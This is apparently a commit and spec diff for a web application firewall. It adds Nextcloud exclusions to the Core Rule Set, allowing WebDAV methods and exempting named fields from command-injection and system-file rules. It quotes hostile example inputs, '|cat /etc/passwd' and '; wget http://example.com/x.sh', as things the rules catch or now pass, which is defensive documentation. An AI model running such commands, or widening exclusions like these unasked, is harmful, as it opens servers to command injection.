Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)

Adds nextcloud.conf, the thirteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK. The
account-name cookie nc_username, and the fields that carry a search, a name, a
file name or a folder on the sign-in page, the Files app, public shares and the
OCS API, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a shell
code block, so "; wget" reaches Nextcloud there. Requests recorded from
Nextcloud 35.0.2, its web pages, sync client 3.16.7 and the OCS API pass at the
defaults and while bodies are read.

Model: opus-5-5

SPEC.md

@@ -81,8 +81,8 @@ to them.
       of bans is full.
     - `internal/rules`: reads the rule files at start and again when they
       change, and tells which rules a request matches.
-    - `internal/coreruleset`: the Core Rule Set, with the twelve changes listed
-      under "Attack detection", as Coraza directives.
+    - `internal/coreruleset`: the Core Rule Set, with the thirteen changes
+      listed under "Attack detection", as Coraza directives.
     - `internal/lookup`: looks clients up through GeoJS or in the lookup
       database.
     - `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
   Coraza directives. An exclusion switches one rule off for some fields or paths
   only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
-  holds an app's own exclusions. The eighth to twelfth changes below hold those
-  of the apps they name.
+  holds an app's own exclusions. The eighth to thirteenth changes below hold
+  those of the apps they name.
     - `discriminator` loads the file after `smallwebwaf`'s own setup rules and
       before the Core Rule Set's rules. The Core Rule Set loads its own
       `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,20 +723,22 @@ files, the limits and the bans still apply to the client that sends it.
     scanner from an ordinary client. In front of a code forge, registry and git
     clients get `404` and `401` by design, hundreds of times a minute.
 
-`smallwebwaf` changes the Core Rule Set 4.25.0 in twelve ways. Without them, it
-would refuse ordinary requests to these apps:
+`smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
+it would refuse ordinary requests to these apps:
 
 - gitea;
 - WordPress;
 - Drupal;
 - MediaWiki;
-- Mastodon.
+- Mastodon;
+- Nextcloud.
 
 The changes hold in front of every app, and no setting undoes them:
 
 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
    and `OPTIONS`. APIs, container image pushes and package uploads use them.
-   Other methods stay refused.
+   Other methods stay refused, except on Nextcloud's WebDAV paths, where the
+   thirteenth change allows the WebDAV methods Nextcloud uses.
 2. The request header `Expect` is allowed, since curl and git send it before
    some large uploads. `Content-Encoding` is allowed on a request whose body the
    Core Rule Set does not read, which by default is every request. git
@@ -763,7 +765,7 @@ The changes hold in front of every app, and no setting undoes them:
     catch reaches the app, such as the command `|cat /etc/passwd`. Path
     traversal, SQL and script injection, and PHP, Java and Node.js code are
     still refused there. Other parameters keep all three rules, except on the
-    apps' own paths that the eighth to twelfth changes name. An app that uses
+    apps' own paths that the eighth to thirteenth changes name. An app that uses
     one of these parameters as a file on the server, or passes it to a shell,
     must check the value itself. A rule file can refuse it instead.
 
@@ -1203,6 +1205,78 @@ The changes hold in front of every app, and no setting undoes them:
     every rule. An app other than Mastodon that serves one of these paths must
     check these fields itself.
 
+13. On Nextcloud's paths, some fields skip the rules that refused ordinary
+    Nextcloud requests there, and its WebDAV methods are allowed.
+    `internal/coreruleset/nextcloud.conf` lists each rule and the request it
+    refused.
+
+    The sync client and the Files app use WebDAV on these paths:
+    - `/remote.php/dav/`;
+    - `/public.php/dav/`;
+    - `/remote.php/webdav/`;
+    - `/public.php/webdav/`.
+
+    These methods are allowed there, besides those of the first change:
+    - `PROPFIND` and `PROPPATCH`;
+    - `MKCOL`;
+    - `COPY` and `MOVE`;
+    - `REPORT` and `SEARCH`;
+    - `LOCK` and `UNLOCK`, with which the desktop client locks a file.
+
+    The cookie `nc_username` holds the name of the account signed in. It skips
+    the lists of system files and command names (930120, 932120, 932250, 932260)
+    on every path, since every request sends it.
+
+    These fields skip the same four rules, in the query or the body:
+    - On `/login`, for signing in:
+        - `user` and `password`;
+        - `redirect_url`, the page to go to after signing in.
+    - `dir`, the folder shown, on the paths under `/apps/files/`.
+    - The file names on a public share:
+        - `file` on the paths under `/apps/files_sharing/publicpreview/`;
+        - `path` and `files` on `/s/<token>/download`.
+    - On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
+        - the searches `search` and `term`, and `from`, the page searched from;
+        - the names `groupid`, `userid`, `displayName` and `groups[]`;
+        - `value`, a new value of an account's details;
+        - `path`, `label` and `shareWith`, for a share.
+
+    These fields of a JSON body skip the same four rules:
+    - On the OCS API, each field of the list above.
+    - `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
+      the theming settings.
+    - `filePath` on `/apps/text/session/<id>/save`, the document the editor
+      saves.
+    - `name` on `/remote.php/dav/systemtags/`, a new tag.
+
+    Some fields hold sentences a person writes:
+    - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
+      API and on each share under it;
+    - `message`, an account's status, on
+      `apps/user_status/api/v1/user_status/message/custom` of the OCS API;
+    - `message` in the JSON body that posts a comment to
+      `/remote.php/dav/comments/files/<id>`;
+    - the XML body of a `PROPPATCH` that edits a comment;
+    - `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
+      document.
+
+    These fields skip the same four rules. They also skip the rules that refused
+    ordinary sentences there, such as `It is fixed; diff attached` (932125,
+    932230, 932235, 932380). A share's note and a status skip them in the query
+    or the body. A document's text skips two more, which refused a shell script
+    in a code block (932160, 932370). So a shell command such as
+    `; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
+    injection, path traversal and script injection are still refused there.
+
+    The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
+    skips the four rules.
+
+    These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
+    applies to a JSON field when the query has a parameter of that name, such as
+    `json.message`. Nextcloud's pages are matched at the site root and under
+    `/index.php/`. Elsewhere these fields keep every rule. An app other than
+    Nextcloud that serves one of these paths must check these fields itself.
+
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.